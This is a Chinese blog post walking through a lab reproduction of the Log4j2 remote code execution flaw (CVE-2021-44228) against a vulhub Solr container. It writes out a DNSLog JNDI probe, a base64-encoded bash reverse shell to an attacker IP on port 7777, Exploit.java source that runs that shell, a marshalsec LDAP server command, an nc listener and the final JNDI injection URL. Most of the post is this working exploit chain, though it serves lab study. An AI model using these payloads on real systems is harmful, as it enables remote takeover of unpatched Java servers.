当前位置: 首页 > news >正文

log4j2远程代码执行漏洞复现

参考文章:

http://t.csdnimg.cn/3K5ml

说明

log4j2:

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

靶场搭建:

在vulhub上面下载靶场包,找到编号CVE-2021-44228,使用docker以下命令启动:

[root@bogon CVE-2021-44228]# docker compose up -d

完成后,查看服务端口 8983

[root@bogon CVE-2021-44228]# docker ps
CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                       NAMES
da2dd853a17a   vulhub/solr:8.11.0   "bash /docker-entryp…"   12 minutes ago   Up 12 minutes   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228-solr-1

访问

测试漏洞

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.10ztpb.dnslog.cn }

注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

可以看到java的版本了,说明存在漏洞

漏洞利用

编写恶意文件Exploit.java,企图反弹shell到kali的7777端口:

bash -i >& /dev/tcp/192.168.87.131/7777 0>&1

进行base64编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

然后编写恶意文件,命名为Exploit.java

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {public Exploit(){try{Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEzMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e = new Exploit();}
}

然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:

javac Exploit.java

把这个class文件上传到kali的某一个目录下面

在kali中的某一个目录中开启4444端口:

然后我们浏览器访问kali的这个目录可以看到:

下面需要在kali中启动LDAP服务,这里使用marshalsec-0.0.3-SNAPSHOT-all.jar工具,安装过程详见:

http://t.csdnimg.cn/VgTj4

然后下载marshalsec包,在目录下面解压后,进行编译:

mvn clean package -DskipTests

https://github.com/mbechler/marshalsec

编译完成后会发现目录中有我们需要的这个jar包,我们是要用这个工具建立LDAP服务

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.87.131:4444/#Exploit" 1389

 接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

 最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.87.131:1389/Exploit}

完整的url为:

http://192.168.87.87:8983/solr/admin/cores?action=${jndi:ldap://192.168.87.131:1389/Exploit}

我们访问可以看到:

kali上面可以看到:

可以看到靶机已经成功访问到了恶意文件,如果成功执行的话,可以看到监听7777端口的回显,并且远程执行命令了,不过我这边靶机没有执行这个文件,大致过程是这样子

http://www.lryc.cn/news/570781.html

相关文章:

  • 手机qq java版 2008,手机qq2008
  • 由一张图开始
  • [附源码]java毕业设计大学城二手书交易网站
  • 详解jar包的启动命令
  • Java中的CAS与ABA
  • 20年架构师视角:SpringAI如何重塑Java技术栈?
  • 【矩阵运算c++实现】矩阵封装实现Matrix类
  • 基于SVD的推荐系统:详尽的原理与实践解析
  • Google colabo使用说明
  • JAVA高校校园学校网站系统设计与实现(Springboot框架)
  • JavaSE: 数组详解
  • 按键精灵 获取网页flash游戏 句柄 以360浏览器为例
  • QQ空间 免费代码大全
  • 启动应用程序出现SensApi.dll找不到问题解决
  • 【八股消消乐】构建微服务架构体系—链路超时控制
  • 给大家推荐一些好用的国内外免费图床(可外链的免费相册)
  • 用SVN下载sourceforge上的源代码
  • va_list、va_start和va_end的用法
  • LAN_IM: 在局域网内实现高效即时通讯的开源解决方案
  • 计算机在线给手机杀毒,怎么用电脑给手机杀毒(如果手机中病毒了怎么办)
  • 如何写一个简单的python类class
  • STM32学习笔记:读写内部Flash(介绍+附代码)
  • 电磁场与电磁波篇---电荷电流
  • 蛋白分析工具和数据库
  • Javascript中void介绍
  • 局域网内共享加密狗_一行Python代码实现同一局域网内的文件共享
  • java.net.SocketException: Broken pipe
  • 科氏质量流量计的工作原理及维护
  • vue前端实现随机验证码(数字、字母混合)功能
  • DLL注入之创建远程线程